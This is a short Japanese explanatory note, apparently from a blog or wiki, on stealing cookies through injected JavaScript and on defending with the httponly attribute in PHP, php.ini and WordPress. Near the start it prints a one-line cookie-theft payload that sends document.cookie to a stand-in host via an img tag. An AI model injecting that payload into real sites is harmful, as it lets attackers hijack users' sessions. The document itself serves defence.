Cookieを盗む例とhttponly属性
以下は、とても単純なJavascriptによる例。
document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">');
example.com に対してGET渡しでdocument.cookieが送信される。
取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。
リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。
対策例
document.cookieで取得できてしまうから危険なのでは?
→ 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう
WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponlyにできる。
setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
セッションIDなどは、Javascriptで取得できる必要がないことがほとんどだと思う。
セッションのcookieをデフォルトでhttponlyにしてよければ、設定で対応することも可能。
php.ini や .htaccess で、以下の記述を追加する。
session.cookie_httponly = On (または 1)
Web サーバーの設定を変更できない場合は、phpのini_set()関数で設定を変える。
ini_set('session.cookie_httponly', 1);
ブラウザの対応状況
クッキーのhttponly属性に対応しているのは以下のブラウザ。
- Internet Explorer 6 SP1以降
- Firefox 2.0.0.5以降
- Google Chrome 1.0以降
- Safari 4以降
- Opera 9.5以降
それよりも古いブラウザに対してHTTPクッキーを送信すると、ページが正しく処理できない場合もある。
備考
他の脆弱性があると、Ajaxコードを挿入することで、httponlyなcookieも盗み取れる場合はあるが、httponlyなcookieにすることで攻撃の手間は増えるのでやらないよりよい。
コメント